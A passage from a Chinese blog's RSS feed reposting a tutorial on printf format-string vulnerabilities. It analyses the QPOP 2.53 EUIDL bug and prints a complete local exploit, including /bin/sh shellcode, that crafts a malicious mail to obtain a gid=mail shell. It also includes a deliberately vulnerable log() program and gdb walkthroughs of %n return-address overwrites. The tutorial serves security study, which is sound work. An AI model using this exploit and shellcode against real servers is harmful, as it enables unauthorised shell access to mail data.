/>[2] &lt;&lt;Remote shell via Qpopper2.53&gt;&gt; , prizm (prizm@resentment.org)<br />[3] &lt;&lt;More info on format bugs&gt;&gt;,  Pascal Bouchareine [ kalou &lt;pb@grolier.fr&gt; ] <img src ="http://www.cppblog.com/asp/aggbug/13922.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-20 20:55 <a href="http://www.cppblog.com/asp/archive/2006/10/20/13922.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>*printf()格式化串安全漏洞分析(上) (转)</title><link>http://www.cppblog.com/asp/archive/2006/10/20/13921.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Fri, 20 Oct 2006 12:54:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/20/13921.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13921.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/20/13921.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13921.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13921.html</trackback:ping><description><![CDATA[测试平台：RedHat 6.1, RedHat 6.2 (Intel i386)<br /><br /><br /><h4>前言：</h4>=====<br />最近一段时间，一种新的安全漏洞正开始引起人们注意，就是诸多的*printf()函数的格式<br />化串问题。其实这个问题应该说并不鲜见，只是一直没有人注意它，直到最近才开始进行<br />一些深入的讨论。格式化串的问题实际上是由于程序员编程时的疏漏所导致的，下面我们<br />就来看看具体是怎么回事。<br /><br /><h4>关于格式化串</h4>============<br />*printf()函数包括printf,  fprintf,  sprintf,  snprintf,  vprintf, vfprintf,<br />vsprintf, vsnprintf等函数，它们可以将数据格式化后输出。以最简单的printf()为例：<br />int printf(const char *format, arg1,arg2,...);<br /><br />通过定制format的内容(%s,%d,%p,%x...),用户可以将数据按照某种格式输出。问题是，<br />*printf()函数并不能确定数据参数arg1,arg2...究竟在什么地方结束，也就是说，它不知<br />道参数的个数。它只会根据format中的打印格式的数目依次打印堆栈中参数format后面地址<br />的内容。先来看一个简单的例子：<br /><br />&lt;- begin -&gt;  fmt_test.c<br /><br />＃i nclude &lt;stdio.h&gt;<br /><br />int main(void)<br />{<br />   char string[]="Hello World!";<br />   <br />   printf("String: %s  , arg2: %#p , arg3: %#p\n", string);<br />   return 0;<br />}<br /><br />&lt;- end -&gt;  <br /><br />上面的例子中我们其实只提供了一个数据参数"string",但在格式串中有三个打印格式，<br />我们看一下运行的结果：<br /><br />[warning3@redhat-6 format]$ gcc -o fmt_test fmt_test.c <br />[warning3@redhat-6 format]$ ./fmt_test <br />String: Hello World!  , arg2: 0x6c6c6548 , arg3: 0x6f57206f<br /><br />我们来看一下arg2,arg3显示的是哪里的内容：<br />[warning3@redhat-6 format]$ gdb ./fmt_test <br />&lt;...&gt;<br />(gdb) b printf<br />Breakpoint 1 at 0x8048308<br />(gdb) r<br />Starting program: /home/warning3/format/./fmt_test <br />Breakpoint 1 at 0x40064f5c: file printf.c, line 30.<br /><br />Breakpoint 1, printf (<br />    format=0x80484c0 "String: %s  , arg2: %#p , arg3: %#p\n") at printf.c:30<br />30      printf.c: No such file or directory.<br />(gdb) x/10x $ebp<br />0xbffffc88:     0xbffffca8      0x08048403      0x080484c0      0xbffffc98<br />0xbffffc98:     0x6c6c6548      0x6f57206f      0x21646c72      0x08049500<br />0xbffffca8:     0xbffffcc8      0x400301eb<br /><br />我们看到printf()的第一个参数地址是$ebp+8,里面的内容是0x080484c0,<br />(gdb) x/s 0x080484c0<br />0x80484c0 &lt;_IO_stdin_used+60&gt;:   "String: %s  , arg2: %#p , arg3: %#p\n"<br />这是我们的格式化串的地址<br /><br />再来看我们要格式化输出的数据($ebp+12):<br />(gdb) x/s 0xbffffc98<br />0xbffffc98:      "Hello World!"<br /><br />我们看到，紧接着下来的两个字的内容就是刚才的程序中显示的结果：<br />$ebp+16: 0x6c6c6548  "Hell"<br />$ebp+20: 0x6f57206f  "o Wo"<br /><br />从下面的示意图上可以看得更清楚一些：<br /><br />              栈顶<br />       +------------+<br />      |   ......   |    <br />      +------------+<br />0xbffffc88| 0xbffffca8 | --------&gt; 保存的EBP  -- printf()<br />      +------------+<br />      | 0x08048403 | --------&gt; 保存的EIP  -- printf()<br />      +------------+  format<br />format-&gt;  | 0x080484c0 | --------&gt; "String: %s  , arg2: %#p , arg3: %#p\n"的地址 <br />      +------------+  arg1<br />      | 0xbffffc98 | --------&gt; "Hello World!"的地址                          <br />      +------------+<br />      | 0x6c6c6548 | --------&gt; string[] = "Hell    <br />      +------------+<br />      | 0x6f57206f | --------&gt;             o Wo<br />      +------------+<br />      | 0x21646c72 | --------&gt;             rld!"<br />      +------------+<br />      | 0x08049500 | --------&gt;   '\0'xxx<br />      +------------+<br />0xbffffca8| 0xbffffcc8 | --------&gt; 保存的EBP  -- main()<br />      +------------+<br />      | 0x400301eb | --------&gt; 保存的EIP  -- main()<br />      +------------+<br />          |   ......   |    <br />      +------------+<br />              栈底<br /><br />我们可以看到，arg2,arg3所显示的其实是main()中数组strings中前两个字的内容。<br />从上面这个简单的例子我们可以看到, *printf()只根据format中打印格式(%)的数目来依次<br />显示堆栈中format参数后面地址的内容,每次移动一个字(4个字节).<br />由于我们上面的例子中出现了三个(%)号，所以它会依次打印三个地址的内容:<br />format+4, format + 8, format + 12.<br /><br />(注意：并不是所有的%格式都是移动4个字节，例如%f就每次移动8个字节。如果要覆盖的地址<br />距离比较远(比如2048字节)，而%的个数又有所限制的话，使用%f可以较快的到达"目的地"，<br />只需要256个%f就可以了,%E也是如此)<br /><br />正常情况下，由于format串通常是程序员自己来定制，很少出现上面那种情况，而且即使<br />出现了，也并不会有什么大的安全问题。然而，如果format串是由用户提供的话，那么就<br />非常危险了！这种情况往往是由于程序员的疏忽导致的。最常见的情况是当需要利用<br />vsprintf()等来构造自己的类printf()函数时，例如<br /><br />mylog(LEVEL, "username = %s", username);<br /><br />如果引用mylog时错误的使用了mylog(LEVEL,user_buf),而user_buf的内容又是用户可以控<br />制的话，那么真正的危险就来了。<br /><br /><br /><h4>1. 问题一：格式化串导致的传统缓冲区溢出</h4>==========================================<br />我们以不久前发现的QPOP 2.53的例子来做一下详细的说明。<br /><br /><br />QPOP 2.53中pop_uidl.c中有个函数pop_euidl (p)，用来完成EUIDL命令的功能，它错误的<br />使用了pop_msg()函数：<br /><br />.......<br />pop_euidl (p)<br />POP     *   p;<br />{<br />    char                    buffer[MAXLINELEN];     /*  Read buffer */<br />    char            *nl, *bp;<br />    MsgInfoList         *   mp;         /*  Pointer to message info list */<br />......<br />      if (mp-&gt;del_flag) {<br />      <br />      /* 注意： 这里使用pop_msg()的做法是正确的！ 注意和下面那个pop_msg()的用法<br />                做一下比较。<br />       */<br />        return (pop_msg (p,POP_FAILURE,<br />                "Message %d has been marked for deletion.",msg_id));<br />      } else {<br /><br />    sprintf(buffer, "%d %s", msg_id, mp-&gt;uidl_str);<br />        if (nl = index(buffer, NEWLINE)) *nl = 0;<br />       /* 下面这个sprintf()将用户输入的数据拷贝到buffer中，由于限制了%s的宽度，<br />           因此不会发生缓冲区溢出 */        <br />    <br />    sprintf(buffer, "%s %d %.128s", buffer, mp-&gt;length, from_hdr(p, mp));<br />    <br />    /* 注意：这里直接将buffer作为第三个参数传递给pop_msg(),这是错误的！ */<br />    return (pop_msg (p,POP_SUCCESS, buffer));<br />      }<br /><br />我们再来看看pop_msg()函数，它在pop_msg.c中定义：<br /><br />......<br />#define BUFSIZE 2048<br />......<br />#ifdef __STDC__<br />/* 我们看到，pop_msg()的第三个参数是format串*/<br />pop_msg(POP *p, int stat, const char *format,...) <br />#else<br />pop_msg(va_alist)<br />va_dcl<br />#endif<br />{<br />#ifndef __STDC__<br />    POP             *   p;<br />    int                 stat;              /*  POP status indicator */<br />    char            *   format;            /*  Format string for the message */<br />#endif<br />    va_list             ap;<br />    register char   *   mp;<br />#ifdef PYRAMID<br />    char        *   arg1, *arg2, *arg3, *arg4, *arg5, *arg6;<br />#endif<br />    char                message[BUFSIZE]; /* 定义了一个BUFSIZE=2048大小的缓冲区 */<br /><br />#ifdef __STDC__<br />    va_start(ap,format);<br />.......<br /><br />    /*  Point to the message buffer */<br />    mp = message;                       /* mp指向message[]起始地址 */<br />......<br />    /*  Append the message (formatted, if necessary) */<br />    if (format) {<br />#ifdef HAVE_VPRINTF<br />/* 这里将变参ap按照format的格式输出到mp所指向的message[]中 <br />   注意，这里没有检查拷贝数据的大小！<br />*/<br />        vsprintf(mp,format,ap); <br /><br />.....<br /><br />我们看到pop_euidl()中的buffer,本来应该出现在pop_msg()的第四个参数位置上，也就是<br />pop_msg()的ap所指向的内容，正确的格式应该象下面这样：<br />pop_msg (p,POP_SUCCESS, "%s", buffer);<br />这样由于buffer的长度是有限制的，pop_msg()中的vsprintf()就不会产生溢出。<br />但由于程序员的疏忽，错误的将buffer放在了第三个参数的位置上，其实就是pop_msg()中<br />format所指向的内容。而buffer中的部分内容是由用户提供的，因此如果用户输入的数<br />据中包含某些特别的打印格式，就可能利用vsprintf()调用溢出message缓冲区。<br /><br />那么具体如何来做呢？我们知道打印格式中有个重要的部分是打印宽度，例如：%.20d,%20d<br />%20s,%.20s等等。以printf("%.20d",num)为例，如果整数num的长度小于20,printf()会在<br />它前面补零来使打印出来的长度为20,例如：<br />printf("%.20d\n",12345);<br />打印结果如下：<br />00000000000000012345 <br /><br />这让我们想到，是否可以通过定义打印宽度来填充message缓冲区呢？<br />如果我们构造buffer的内容让它象这个样子：<br /><br />xxx%.2000d&lt;RET&gt;&lt;RET&gt;...&lt;RET&gt;<br /><br />那么vsprintf(mp,"xxx%.2000d&lt;RET&gt;&lt;RET&gt;...&lt;RET&gt;",ap);<br />就可能使&lt;RET&gt;覆盖pop_msg()函数的返回地址,如果我们可以在&lt;RET&gt;这个地址中放入shellcode<br />,就可能获得一个远程shell了。由于通常Qpoper没有丢弃mail组权限，因此我们可以获得一个<br />gid=mail的shell,可以查看其他普通用户的邮件....<br /><br />为了达到我们的目标，我们需要做的事是：<br /><br />&lt;1&gt; 发一封邮件给要攻击的用户，在X-UIDL:域中放入我们的shellcode,<br />    在From:域中放入%.2000d&lt;RET&gt;&lt;RET&gt;...&lt;RET&gt;<br />    注意这个&lt;RET&gt;的地址需要通过调试才能确定，它应该指向我们的shellcode所在地址。<br />    <br />&lt;2&gt; 以该用户身份登陆QPOP server,执行EUIDL num命令，这里的num应该是我们刚才发送<br />    的那封特殊邮件的序号。<br />    <br />    如果一切顺利的话，你就可以得到一个gid mail的shell了。<br /><br />下面我们提供一个简单的测试程序，它会给你一个本地的gid mail shell:<br />(你可能需要自己调整retloc以及POP *p的地址才能成功)<br /><br />&lt;- begin -&gt;  qpop2.53_local.c<br /><br />/*  QPOP 2.53 local exploit .<br />*  code based on the sample exploit by Prizm/b0f.<br />*  usages: <br />*    [test@redhat-6 /tmp]$ ./qp 0xbfffcba4 0xbfffdbf8 &gt;/var/spool/mail/test<br />*    [test@redhat-6 /tmp]$ nc localhost 110<br />*     <br />*     +OK QPOP (version 2.53) at localhost.localdomain starting.  <br />*     user test<br />*     +OK Password required for test.<br />*     pass 123456<br />*     +OK test has 1 message (307 octets).<br />*     euidl 1<br />*     &lt;...snip...&gt;<br />*     id<br />*     uid=514(test) gid=12(mail) groups=12(mail)  <br />*                                                   warning3@isbase.com<br />*                                                      y2k/5/28<br />*/<br /><br />＃i nclude &lt;stdio.h&gt;<br />＃i nclude &lt;string.h&gt;<br /><br />char shellcode[]=<br />   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"<br />   "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"<br />   "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"<br />   "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"<br />   "\xff\xff/bin/sh....";<br /><br />int main(int argc, char *argv[])<br />{<br />        int i;<br />        unsigned long ra=0;<br />        unsigned long p= 0xbffffdf8;<br />        if(argc&lt;2) {<br />                fprintf(stderr,"Usage: %s return_addr POP(*)_addr\n", argv[0]);<br />                exit(0);<br />        }<br />        sscanf(argv[1], "%x", &amp;ra);<br />        /* 由于pop_msg()发生溢出后还需要一个有效的POP *p指针才能正确结束，所以<br />         * 我们必须要提供一个有效的地址<br />         */<br />        sscanf(argv[2], "%x", &amp;p);<br />        if(!ra) <br />                return;<br />        if(sizeof(shellcode) &lt; 12 || sizeof(shellcode) &gt; 76) {<br />                fprintf(stderr,"Bad shellcode\n");<br />                exit(0);<br />        }<br />        fprintf(stderr,"return address: 0x%.8x\n", ra);<br />        fprintf(stderr,"p address: 0x%.8x\n", p);<br />        printf("From root  Sun May 28 17:29:37 2000\n");<br />        printf("Date: Sun, 28 May 2000 17:29:37 +0800\n");<br />        printf("From: %s", "%.500d%.500d%.500d%.398d");<br />        for(i=0; i &lt; 20; i++) <br />          printf("%c%c%c%c", (ra &amp; 0xff), (ra &amp; 0xff00)&gt;&gt;8, (ra &amp; 0xff0000)&gt;&gt;16, (ra &amp; 0xff000000)&gt;&gt;24); /* 连续的返回地址 */<br />        printf("%c%c%c%c", ( p&amp; 0xff), (p &amp; 0xff00)&gt;&gt;8, (p &amp; 0xff0000)&gt;&gt;16, (p &amp; 0xff000000)&gt;&gt;24);/* 有效的POP *p指针 */<br />        printf ("\n");<br />        printf ("Subject: haha\n");<br />        printf ("Message-Id: &lt;200005280929.RAA03577@localhost.localdomain&gt;\n");<br />        printf("X-UIDL: ");<br />        for(i=0; i &lt; sizeof(shellcode);i++)<br />                printf("%c", shellcode[i]);<br />        printf("\n");<br />        printf ("\n\n");<br />        return 0;<br />}    <br />      <br />&lt;- end -&gt;<br /><br /><br /><h4>2. 问题二：格式化串导致覆盖函数返回地址</h4>========================================<br />我们再来看另外一个问题：%n的问题。 %n在格式化中的意思是将显示内容的长度输出到一<br />个变量中去。通常的用法是这样的：<br /><br />&lt;- begin -&gt;  n_test.c<br /><br />main()<br />{<br />  int num=0x41414141;<br />  <br />  printf("Before: num = %#x \n", num);<br />  printf("%.20d%n\n", num, &amp;num);<br />  printf("After: num = %#x \n", num);<br /><br />}<br /><br />&lt;- end -&gt;  <br /><br />[warning3@redhat-6 format]$ ./n_test <br />Before: num = 0x41414141 <br />00000000001094795585<br />After: num = 0x14 <br /><br />我们看到，变量num的值已经变成了0x14(20),也就是说，因为我们的程序中将变量num的地<br />址压入堆栈，作为printf()的第二个参数，%n会将打印总长度保存到对应参数的地址中去。<br />那么如果我们不将num的地址压入堆栈会发生什么事情呢？<br /><br /><br />[warning3@redhat-6 format]$ vi n_test.c<br /><br />&lt;- begin -&gt;  n_test1.c<br /><br />main()<br />{<br />  int num=0x41414141;<br /><br />  printf("Before: num = %#x \n", num);<br />  printf("%.20d%n\n", num);            /* 注意，我们没有压num的地址入栈 */<br />  printf("After: num = %#x \n", num);<br /><br />}<br /><br />&lt;- end -&gt;  <br /><br />[warning3@redhat-6 format]$ ./n_test1<br />Before: num = 0x41414141 <br />Segmentation fault (core dumped)      &lt;--- 在执行第二个printf()时就发生段错误了<br />[warning3@redhat-6 format]$ gdb ./n_test core<br />GNU gdb 4.18<br />&lt;...&gt;<br />#0  0x4005d897 in _IO_vfprintf (s=0x40104c60, format=0x8048474 "%.20d%n\n", <br />    ap=0xbffffca8) at vfprintf.c:1212<br />1212    vfprintf.c: No such file or directory.<br />(gdb) x/i $pc                         &lt;--- 我们看看下一条指令是什么 <br />0x4005d897 &lt;_IO_vfprintf+2455&gt;: mov    %eax,(%ecx)   &lt;--- 将%eax的值填到%ecx中<br />                                                          的地址去<br />(gdb) i r $ecx                                       &lt;--- 目的地址是 0x41414141<br />ecx            0x41414141       1094795585<br />(gdb) i r $eax<br />eax            0x14     20                           &lt;--- 填充内容是0x14(20)<br />(gdb) <br /><br />很明显，这就是在执行%n操作的时候发生了段错误，0x41414141肯定是不能访问的。我们<br />注意到num的初始值就是0x41414141,两者是不是有什么联系呢？其实从前面关于fmt_test.c<br />的讨论我们就应该可以看出来，printf()将堆栈中main()函数的变量num当作了%n所对应的<br />参数，因此会将0x14保存到0x41414141中去。聪明的读者应该可以想到，如果我们可以控制<br />num的内容，那么不就意味着可以修改任意地址（当然是允许写入的地址)的内容了？是的。<br />我们首先想到的是覆盖函数的返回地址，让我们修改一下程序：<br /><br />&lt;- begin -&gt;  n_test2.c<br /><br />main()<br />{<br />  int num=0xbffffcbc;<br /><br />  printf("Press Any Key to Continue...\n");<br />  getchar();<br />  printf("Before: num = %#x \n", num);<br />  printf("%.1094795585u%n\n", num);  /* 1094795585 = 0x41414141 */<br />  printf("After: num = %#x \n", num);<br /><br />}<br /><br />&lt;- end -&gt;  <br /><br /><br />这里的num的值是main()函数的返回地址，我们的目的是将0x41414141覆盖main()函数<br />的返回地址，这样从main()函数返回时就会跳到0x41414141去运行，当然这会导致段错<br />误，这里只是举个例子而已。<br />至于getchar()的作用，纯粹是为了调试方便，一会你就会明白为什么要加这个东西。<br />细心的读者可能会发现我将%d换成了%u,这是因为如果要<br />打印的值为负数，printf会自动在前面加上一个'-'号，这样实际的打印结果长度就要<br />加上一，在这个例子中，我们就可能跳到0x41414142去了，当然这里对我们并没有什么<br />影响，如果我们有很多%d,例如："%d%d%d...%d%d",我们就不能简单的根据"%d"的个数来<br />计算显示结果的长度，还要考虑可能的'-'号数目。为了简便起见，我们用%u来显示，它<br />会按无符号整数来显示结果，就不用考虑'-'号的情况。<br /><br />让我们来看看运行结果，这是在一台RedHat 6.1下运行的结果：<br />[warning3@redhat-6 format]$ gcc -o n2 -g n_test2.c <br />[warning3@redhat-6 format]$ ./n2<br />Press Any Key to Continue...<br /><br />这时我们再开一个终端[tty2]来调试：<br />&lt;在终端tty2上&gt;<br /><br />[warning3@redhat-6 format]$ gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`<br />GNU gdb 4.18<br />&lt;......&gt;<br />Attaching to program: /home/warning3/format/./n2, Pid 28428<br />Reading symbols from /lib/libc.so.6...done.<br />Reading symbols from /lib/ld-linux.so.2...done.<br />0x400bcdb4 in __libc_read () from /lib/libc.so.6<br />(gdb) bt<br />#0  0x400bcdb4 in __libc_read () from /lib/libc.so.6<br />#1  0x4010648c in __DTOR_END__ () from /lib/libc.so.6<br />#2  0x4006c7a1 in _IO_new_file_underflow (fp=0x40104ba0) at fileops.c:385<br />#3  0x4006e6f1 in _IO_default_uflow (fp=0x40104ba0) at genops.c:371<br />#4  0x4006db5c in __uflow (fp=0x40104ba0) at genops.c:328<br />#5  0x4006af56 in getchar () at getchar.c:37<br />#6  0x8048417 in main () at n_test2.c:6<br />(gdb) i f 6<br />Stack frame at 0xbffffcb8:<br />eip = 0x8048417 in main (n_test2.c:6); saved eip 0x400301eb<br />caller of frame at 0xbffffcac<br />source language c.<br />Arglist at 0xbffffcb8, args: <br />Locals at 0xbffffcb8, Previous frame's sp is 0x0<br />Saved registers:<br />  ebp at 0xbffffcb8, eip at 0xbffffcbc      ---&gt; 这是main函数保存返回地址的地方，<br />                                                  也是num初始值 <br />(gdb) c                 ---&gt; 让跟踪的程序继续运行       <br />Continuing.<br /><br />现在我们再切换到原先的终端上，继续执行我们的程序：<br />[warning3@redhat-6 format]$ ./n2<br />Press Any Key to Continue...  ---&gt; 按一下回车 <br /><br />Before: num = 0xbffffcbc <br /><br />我们再切到tty2来看发生了什么：<br />(gdb) c<br />Continuing.<br /><br />Program received signal SIGSEGV, Segmentation fault.  ---&gt; 发生了段访问错误<br />0x4005dff0 in _IO_vfprintf (s=0x40104c60, <br />    format=0x80484d2 "%.1094795585u%n\n", ap=0xbffffcb4) at vfprintf.c:1259<br />1259    vfprintf.c: No such file or directory.<br /><br />(gdb) x/6i $pc  ---&gt; 看看我们要执行什么命令了<br />0x4005dff0 &lt;_IO_vfprintf+4336&gt;: movb   $0x30,(%esi)<br />0x4005dff3 &lt;_IO_vfprintf+4339&gt;: dec    %esi<br />0x4005dff4 &lt;_IO_vfprintf+4340&gt;: mov    0xfffffad8(%ebp),%eax<br />0x4005dffa &lt;_IO_vfprintf+4346&gt;: decl   0xfffffad8(%ebp)<br />0x4005e000 &lt;_IO_vfprintf+4352&gt;: test   %eax,%eax<br />0x4005e002 &lt;_IO_vfprintf+4354&gt;: jg     0x4005dff0 &lt;_IO_vfprintf+4336&gt;<br /><br />(gdb) i r $esi<br />esi            0xbfffdfff       -1073750017<br />(gdb) i r $eax<br />eax            0x41412b43       1094789955  ----&gt; 还有0x41412b43个'0'要填充<br />(gdb) x/200x $esi<br />0xbfffdfff:     0x30303000      0x30303030      0x30303030      0x30303030<br />0xbfffe00f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe01f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe02f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe03f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe04f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe05f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe06f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe07f:     0x30303030      0x30303030      0x30303030      0x30303030<br />0xbfffe08f:     0x30303030      0x30303030      0x30303030      0x30303030<br />&lt;....&gt;<br /><br />我们看到这几句程序将0x30('0')往堆栈顶端(低地址方向)中填充，实际上就是为显示<br />"%.1094795585u"中指定的'0'做准备。好像堆栈太小了，不足以存放这么多'0',让我们<br />再来看看./n2执行时的内存映射：<br /><br />^Z<br />[1]+  Stopped                 gdb ./n2 `ps -auxw|grep './n2'|grep -v grep|awk '{print $2}'`<br />[warning3@redhat-6 format]$ cat /proc/28428/maps<br />08048000-08049000 r-xp 00000000 03:06 168475     /home/warning3/format/n2<br />08049000-0804a000 rw-p 00000000 03:06 168475     /home/warning3/format/n2<br />40000000-40012000 r-xp 00000000 03:06 144892     /lib/ld-2.1.2.so<br />40012000-40013000 rw-p 00012000 03:06 144892     /lib/ld-2.1.2.so<br />40013000-40015000 rw-p 00000000 00:00 0<br />40018000-40103000 r-xp 00000000 03:06 144899     /lib/libc-2.1.2.so<br />40103000-40107000 rw-p 000ea000 03:06 144899     /lib/libc-2.1.2.so<br />40107000-4010b000 rw-p 00000000 00:00 0<br />bfffe000-c0000000 rwxp fffff000 00:00 0<br /><br />从上面我们可以看到可写的堆栈段是从bfffe000-c0000000之间的地址空间，而前面的语句<br />要将0x30('0')写入0xbfffdfff,这个地址已经不在堆栈段中，因此会发生段访问错误。程<br />序也就执行不下去了。因此，在RedHat 6.1中，我们不能简单的直接用%.RET%n的方式来覆<br />盖函数返回地址，因为通常RET都是在堆栈段中，即通常大于0xbfff0000,这是个相当大的数<br />值，RedHat 6.1的glibc中的vfprintf()不能正常显示这么多的'0',而RedHat 6.2中的glibc<br />所带的vfprintf()则可以，也就是说，上面的程序在RedHat 6.2下,这条语句：<br />printf("%.1094795585u%n\n", num);<br />可以正常结束，然后main()的返回地址被覆盖成0x41414141。<br />但是我并不建议读者直接在RedHat 6.2下运行这个程序，因为它会打印非常多的0,你需要<br />有足够的耐心才能等待它结束. :-)<br /><br />&lt;1&gt; 攻击方法一：直接覆盖返回地址<br />=================================<br /><br />我们看另外一个简单的问题程序，我们会先在RedHat 6.2上进行攻击测试：<br /><br /><br />&lt;- begin -&gt;  vul.c<br /><br />/*  A simple vulnerable example for format bug.<br />*                                 warning3@nsfocus.com<br />*/<br /><br />＃i nclude &lt;stdarg.h&gt;<br />＃i nclude &lt;unistd.h&gt;<br />＃i nclude &lt;syslog.h&gt;<br /><br />#define BUFSIZE 1024<br /><br />int log(int level, char *fmt,...)<br />{<br />   char buf[BUFSIZE];<br />   va_list ap;<br />  <br />   va_start(ap, fmt);<br />   vsnprintf(buf, sizeof(buf)-1, fmt, ap); <br />   buf[BUFSIZE-1] = '\0';<br />   syslog(level, "[hmm]: %s", buf); <br />   va_end(ap); <br />}<br /><br /><br />int main(int argc, char **argv)<br />{<br /><br />  char buf[BUFSIZE];<br />  int num,i;<br />  <br />  num = argc ;<br /><br />  if(argc &gt; 1) {<br />     for ( i = 1 ; i &lt; num ; i ++ ) {<br />            snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);<br />            buf[BUFSIZE-1] = '\0';<br />            log(LOG_ALERT, buf);  // 这里有问题<br />            printf("argv[%d] = %s \n", i, argv[i]);<br />    }<br />  } <br />}<br />&lt;- end -&gt;  <br /><br />这个有问题的程序在调用子函数log()的时候，错误的将buf放到了*fmt所对应的位置上，<br />而buf的内容中的一部分是用户输入的，而且没有做任何检查。虽然程序其余地方都比较<br />小心地使用了vsnprintf(),snprintf(),不会发生通常的缓冲区溢出问题。但这个格式化<br />串的错误也将是致命的。<br /><br />我们先来分析一下如何进行攻击。我们看到main()函数会将命令行参数拷贝到buf中去。<br />前面还加上了"argv[%d] = "字符串，在参数个数小于10的情况下，这个字符串的长度为<br />10字节。我们考虑构造这样的字符串作为命令行参数：<br />"align|RET|%d%d...%.SH_RETd|%n"<br /><br />"align"：  用来调整buf开头的数据长度为4的整数<br />"RET":     是main()或者log()函数的返回地址位置，我们会将shellcode的地址放到RET中去，<br />"SH_RET":  我们存放shellcode的地址<br />"%d...%d": 这些%d用来使%n所对应的地址刚好是储存RET的地址 <br /><br />我们来看看在第一次调用log()时，堆栈中的情况<br /><br />  保存ebp 保存eip 参数1     参数2  变量i 变量num  缓冲区buf<br />-----------------------------------------------------------------------<br />|  EBP  |  EIP  |LOG_ALERT| &amp;buf |  i  |  num  |"argv[1] = "| argv[1] |  <br />-----------------------------------------------------------------------<br />                           ^      ^                         <br />                           |__fmt |__ap<br />低址  ----------------------&gt;----------------------------------&gt;  高址<br /><br />                          <br />在执行完  va_start(ap, fmt) 后，变参指针ap指向fmt的下一个地址，也就是main()<br />函数局部变量i的地址，如果我们提供的argv[1]的是这样的字符串:<br />"xxabcd%d%d%d%d%d%p"<br />那么堆栈中的情况就是这样:<br /><br /><br />保存ebp 保存eip 参数1     参数2 变量i 变量num  缓冲区buf<br />--------------------------------------------------------------------------------<br />|  EBP  |  EIP  |LOG_ALERT| &amp;buf |  i | num |"argv[1] = xx"|"abcd"|%d%d%d%d%d%p|<br />--------------------------------------------------------------------------------<br />                           ^      ^ 4B   4B   12B          ^  RET             |       <br />                           |__fmt |__ap                    |__________________|<br />                               <br />低址  ----------------------&gt;----------------------------------&gt;  高址<br /><br />因为"argv[1] = "长是10字节，我们用两个字节"xx"来使其变成4的整数倍:12字节。因此，<br />从变量i的地址到"abcd"之间共有4+4+12=20字节，20/4=5,因此我们需要用5个%d来对应这5<br />个地址，这样最后一个格式化串%p就对应了"abcd"的地址，因此打印出来应该是:<br />"0x64636261"<br />                                 <br />[root@rh62 format]# ./vul xxabcd%d%d%d%d%d%p<br />argv[1] = xxabcd%d%d%d%d%d%p <br />[root@rh62 format]# tail -1 /var/log/messages <br />Jul 12 04:13:08 rh62 vul: [hmm]: argv[1] = xxabcd2119864909775429783952021138493<br />0x64636261<br /><br />注意最后的0x64636261,这说明我们前面的分析是正确的。如果我们将%p换成%n,vsnprintf<br />()就会将打印长度存放到0x64636261中去，当然这肯定会导致段错误<br /><br />[root@rh62 format]# gdb ./vul<br />GNU gdb 19991004<br />&lt;...&gt;<br />(gdb) r xxabcd%d%d%d%d%d%n<br />Starting program: /root/./vul xxabcd%d%d%d%d%d%n<br /><br /><br />Program received signal SIGSEGV, Segmentation fault.<br />0x400622b7 in _IO_vfprintf (s=0xbffff224, <br />    format=0xbffff738 "argv[1] = xxabcd%d%d%d%d%d%n", ap=0xbffff748)<br />    at vfprintf.c:1212<br />1212    vfprintf.c: No such file or directory.<br />(gdb) x/i $pc<br />0x400622b7 &lt;_IO_vfprintf+2455&gt;: mov    %eax,(%ecx)<br />(gdb) i reg $eax $ecx<br />eax            0x2f     47<br />ecx            0x64636261       1684234849<br />(gdb) <br /><br />我们看到，eax中保存的是打印的总长度:47, vsnprintf()在将这个值保存到$ecx中去时<br />发生了段错误。如果我们将RET换成保存main函数返回地址的地址，就会将这个长度存放<br />到那里去，如果这个长度的值刚好等于我们存放shellcode的地址，那么当main()返回时<br />就会跳到我们的shellcode去运行了。<img src ="http://www.cppblog.com/asp/aggbug/13921.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-20 20:54 <a href="http://www.cppblog.com/asp/archive/2006/10/20/13921.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>FTP命令大全</title><link>http://www.cppblog.com/asp/archive/2006/10/20/13920.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Fri, 20 Oct 2006 12:48:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/20/13920.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13920.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/20/13920.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13920.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13920.html</trackback:ping><description><![CDATA[
